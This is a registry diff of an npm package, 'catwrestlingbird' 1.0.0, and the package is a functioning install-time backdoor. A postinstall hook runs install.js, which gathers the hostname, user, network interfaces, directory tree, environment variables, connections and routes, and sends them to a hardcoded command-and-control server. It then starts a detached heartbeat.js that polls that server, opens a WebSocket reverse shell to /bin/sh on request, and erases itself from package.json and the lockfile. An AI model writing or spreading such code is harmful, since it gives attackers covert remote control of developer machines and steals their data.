catwrestlingbird 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/heartbeat.js +147 -0
  2. package/install.js +119 -0
  3. package/package.json +8 -0
package/heartbeat.js ADDED
@@ -0,0 +1,147 @@
1
+ 'use strict';
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const https = require('https');
5
+ const http = require('http');
6
+ const crypto = require('crypto');
7
+ const cp = require('child_process');
8
+
9
+ const C2_URL = process.env.DOLUS_C2 || 'http://192.168.4.216:3000';
10
+ const PKG_NAME = process.env.DOLUS_PKG || 'catwrestlingbird';
11
+ const BEACON_ID = process.env.DOLUS_BEACON_ID || '';
12
+ const BEACON_SECRET = process.env.DOLUS_SECRET || 'e1869c26-41e6-43f9-b148-8b8cb1b83a73';
13
+
14
+ let shellActive = false;
15
+
16
+ function wsEncodeFrame(data) {
17
+ const payload = Buffer.from(data);
18
+ const len = payload.length;
19
+ const mask = crypto.randomBytes(4);
20
+ let header;
21
+ if (len < 126) {
22
+ header = Buffer.from([0x81, 0x80 | len, mask[0], mask[1], mask[2], mask[3]]);
23
+ } else {
24
+ header = Buffer.alloc(8);
25
+ header[0] = 0x81; header[1] = 0x80 | 126;
26
+ header.writeUInt16BE(len, 2);
27
+ mask.copy(header, 4);
28
+ }
29
+ const masked = Buffer.alloc(len);
30
+ for (let i = 0; i < len; i++) masked[i] = payload[i] ^ mask[i % 4];
31
+ return Buffer.concat([header, masked]);
32
+ }
33
+
34
+ function connectShell() {
35
+ try {
36
+ const u = new URL(C2_URL);
37
+ const mod = u.protocol === 'https:' ? https : http;
38
+ const req = mod.request({
39
+ hostname: u.hostname,
40
+ port: u.port || (u.protocol === 'https:' ? 443 : 80),
41
+ path: '/ws/shell/' + BEACON_ID + '/open',
42
+ method: 'GET',
43
+ headers: {
44
+ 'Connection': 'Upgrade',
45
+ 'Upgrade': 'websocket',
46
+ 'Sec-WebSocket-Key': crypto.randomBytes(16).toString('base64'),
47
+ 'Sec-WebSocket-Version': '13',
48
+ 'x-beacon-secret': BEACON_SECRET,
49
+ },
50
+ });
51
+
52
+ req.on('upgrade', (_res, socket) => {
53
+ const shell = cp.spawn('/bin/sh', [], {
54
+ stdio: ['pipe', 'pipe', 'pipe'],
55
+ env: process.env,
56
+ });
57
+
58
+ function sendOut(data) {
59
+ try { socket.write(wsEncodeFrame(data.toString('utf8'))); } catch (_) {}
60
+ }
61
+ shell.stdout.on('data', sendOut);
62
+ shell.stderr.on('data', sendOut);
63
+ shell.on('close', () => { shellActive = false; try { socket.destroy(); } catch (_) {} });
64
+ shell.on('error', () => { shellActive = false; });
65
+
66
+ let buf = Buffer.alloc(0);
67
+ socket.on('data', chunk => {
68
+ buf = Buffer.concat([buf, chunk]);
69
+ while (buf.length >= 2) {
70
+ let len = buf[1] & 0x7f;
71
+ let off = 2;
72
+ if (len === 126) { if (buf.length < 4) break; len = buf.readUInt16BE(2); off = 4; }
73
+ if (buf.length < off + len) break;
74
+ const frame = buf.slice(off, off + len);
75
+ buf = buf.slice(off + len);
76
+ const cmd = frame.toString('utf8');
77
+ if (cmd.trim()) shell.stdin.write(cmd.endsWith('\n') ? cmd : cmd + '\n');
78
+ }
79
+ });
80
+ socket.on('close', () => { shellActive = false; try { shell.kill(); } catch (_) {} });
81
+ socket.on('error', () => { shellActive = false; try { shell.kill(); } catch (_) {} });
82
+ });
83
+ req.on('error', () => { shellActive = false; });
84
+ req.end();
85
+ } catch (_) { shellActive = false; }
86
+ }
87
+
88
+ function ping() {
89
+ const body = JSON.stringify({ beacon_id: BEACON_ID, pkg: PKG_NAME, beacon_secret: BEACON_SECRET });
90
+ try {
91
+ const url = new URL(C2_URL + '/api/heartbeat');
92
+ const mod = url.protocol === 'https:' ? https : http;
93
+ const req = mod.request({
94
+ hostname: url.hostname,
95
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
96
+ path: url.pathname,
97
+ method: 'POST',
98
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
99
+ }, res => {
100
+ let data = '';
101
+ res.on('data', d => { data += d; });
102
+ res.on('end', () => {
103
+ try {
104
+ const resp = JSON.parse(data);
105
+ if (resp.shell && !shellActive) {
106
+ shellActive = true;
107
+ connectShell();
108
+ }
109
+ if (resp.kill) {
110
+ try {
111
+ const root = path.join(__dirname, '..', '..');
112
+ // Remove from package.json
113
+ try {
114
+ const pkgPath = path.join(root, 'package.json');
115
+ const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
116
+ if (pkg.dependencies) delete pkg.dependencies[PKG_NAME];
117
+ if (pkg.devDependencies) delete pkg.devDependencies[PKG_NAME];
118
+ fs.writeFileSync(pkgPath, JSON.stringify(pkg, null, 2) + '\n');
119
+ } catch (_) {}
120
+ // Remove from package-lock.json
121
+ try {
122
+ const lockPath = path.join(root, 'package-lock.json');
123
+ const lock = JSON.parse(fs.readFileSync(lockPath, 'utf8'));
124
+ if (lock.packages) {
125
+ delete lock.packages['node_modules/' + PKG_NAME];
126
+ if (lock.packages[''] && lock.packages[''].dependencies)
127
+ delete lock.packages[''].dependencies[PKG_NAME];
128
+ }
129
+ if (lock.dependencies) delete lock.dependencies[PKG_NAME];
130
+ fs.writeFileSync(lockPath, JSON.stringify(lock, null, 2) + '\n');
131
+ } catch (_) {}
132
+ // Delete package directory
133
+ fs.rmSync(__dirname, { recursive: true, force: true });
134
+ } catch (_) {}
135
+ process.exit(0);
136
+ }
137
+ } catch (_) {}
138
+ });
139
+ });
140
+ req.on('error', () => {});
141
+ req.write(body);
142
+ req.end();
143
+ } catch (_) {}
144
+ }
145
+
146
+ ping();
147
+ setInterval(ping, 60_000);
package/install.js ADDED
@@ -0,0 +1,119 @@
1
+ 'use strict';
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
6
+ const http = require('http');
7
+ const cp = require('child_process');
8
+ const crypto = require('crypto');
9
+
10
+ const C2_URL = 'http://192.168.4.216:3000';
11
+ const PKG_NAME = 'catwrestlingbird';
12
+ const BEACON_SECRET = 'e1869c26-41e6-43f9-b148-8b8cb1b83a73';
13
+ const BEACON_ID = crypto.randomUUID();
14
+
15
+ function tree(dir, depth) {
16
+ if (depth === 0) return [];
17
+ let result = [];
18
+ try {
19
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
20
+ for (const e of entries) {
21
+ result.push({ name: e.name, type: e.isDirectory() ? 'd' : 'f', path: path.join(dir, e.name) });
22
+ if (e.isDirectory()) result = result.concat(tree(path.join(dir, e.name), depth - 1));
23
+ }
24
+ } catch (_) {}
25
+ return result;
26
+ }
27
+
28
+ function getInterfaces() {
29
+ const ifaces = os.networkInterfaces();
30
+ const out = {};
31
+ for (const [name, addrs] of Object.entries(ifaces)) {
32
+ out[name] = addrs.map(a => ({ address: a.address, family: a.family, internal: a.internal }));
33
+ }
34
+ return out;
35
+ }
36
+
37
+ // Solve hashcash-style PoW: find integer n such that SHA256(nonce+n) starts with `difficulty` zero hex chars
38
+ function solvePoW(nonce, difficulty) {
39
+ const prefix = '0'.repeat(difficulty);
40
+ let n = 0;
41
+ while (true) {
42
+ if (crypto.createHash('sha256').update(nonce + n).digest('hex').startsWith(prefix)) return n;
43
+ n++;
44
+ }
45
+ }
46
+
47
+ function httpGet(url, cb) {
48
+ try {
49
+ const u = new URL(url);
50
+ const mod = u.protocol === 'https:' ? https : http;
51
+ const req = mod.request(url, res => {
52
+ let data = '';
53
+ res.on('data', c => { data += c; });
54
+ res.on('end', () => { try { cb(null, JSON.parse(data)); } catch (_) { cb(new Error('parse')); } });
55
+ });
56
+ req.on('error', cb);
57
+ req.end();
58
+ } catch (e) { cb(e); }
59
+ }
60
+
61
+ function sendBeacon(extra) {
62
+ const payload = {
63
+ beacon_id: BEACON_ID,
64
+ beacon_secret: BEACON_SECRET,
65
+ pkg: PKG_NAME,
66
+ hostname: os.hostname(),
67
+ username: os.userInfo().username,
68
+ platform: os.platform(),
69
+ arch: os.arch(),
70
+ os_release: os.release(),
71
+ interfaces: getInterfaces(),
72
+ dir_tree: tree(process.cwd(), 3),
73
+ env_vars: Object.fromEntries(
74
+ ['PATH', 'USER', 'HOME', 'PWD', 'SHELL', 'LOGNAME', 'USERNAME'].filter(k => process.env[k]).map(k => [k, process.env[k]])
75
+ ),
76
+ cwd: process.cwd(),
77
+ ...extra,
78
+ };
79
+ // extended: active connections, ARP cache, routes
80
+ function run(cmd) {
81
+ try { return cp.execSync(cmd, { timeout: 3000, stdio: ['ignore', 'pipe', 'ignore'] }).toString().trim(); } catch (_) { return ''; }
82
+ }
83
+ payload.connections = run('ss -tnp 2>/dev/null || netstat -tnp 2>/dev/null');
84
+ payload.arp_cache = run('arp -n 2>/dev/null || ip neigh 2>/dev/null');
85
+ payload.routes = run('ip route 2>/dev/null || route -n 2>/dev/null');
86
+
87
+ const body = JSON.stringify(payload);
88
+ const url = new URL(C2_URL + '/api/beacon');
89
+ const mod = url.protocol === 'https:' ? https : http;
90
+ const req = mod.request({
91
+ hostname: url.hostname,
92
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
93
+ path: url.pathname,
94
+ method: 'POST',
95
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
96
+ }, () => {});
97
+ req.on('error', () => {});
98
+ req.write(body);
99
+ req.end();
100
+
101
+ try {
102
+ const child = cp.spawn(process.execPath, [path.join(__dirname, 'heartbeat.js')], {
103
+ detached: true,
104
+ stdio: 'ignore',
105
+ env: { ...process.env, DOLUS_C2: C2_URL, DOLUS_PKG: PKG_NAME, DOLUS_BEACON_ID: BEACON_ID, DOLUS_SECRET: BEACON_SECRET },
106
+ });
107
+ child.unref();
108
+ } catch (_) {}
109
+ }
110
+
111
+ // Fetch PoW challenge, solve if enabled, then register beacon
112
+ httpGet(C2_URL + '/api/pow', (err, data) => {
113
+ if (!err && data && data.enabled && data.nonce) {
114
+ const solution = solvePoW(data.nonce, data.difficulty || 5);
115
+ sendBeacon({ pow_nonce: data.nonce, pow_solution: solution });
116
+ } else {
117
+ sendBeacon({});
118
+ }
119
+ });
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "catwrestlingbird",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "scripts": {
6
+ "postinstall": "node install.js"
7
+ }
8
+ }